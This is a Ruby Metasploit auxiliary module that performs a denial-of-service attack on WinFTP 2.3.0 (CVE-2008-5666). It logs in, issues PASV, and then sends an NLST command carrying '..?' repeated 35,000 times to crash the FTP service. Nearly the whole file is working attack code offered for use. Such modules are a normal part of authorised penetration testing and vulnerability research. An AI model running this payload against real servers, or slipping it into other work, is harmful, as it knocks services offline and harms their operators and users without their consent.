winftp230_nlst.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinFTP 2.3.0 NLST Denial of Service',
        'Description' => %q{
          This module is a very rough port of Julien Bedard's
          PoC.  You need a valid login, but even anonymous can
          do it if it has permission to call NLST.
        },
        'Author' => 'kris katterjohn',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-5666' ],
          [ 'OSVDB', '49043' ],
          [ 'EDB', '6581' ]
        ],
        'DisclosureDate' => '2008-09-26',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )
  end

  def run
    return unless connect_login

    # NLST has to follow a PORT or PASV
    send_cmd(['PASV'])

    raw_send("NLST #{'..?' * 35000}\r\n")

    disconnect
  end
end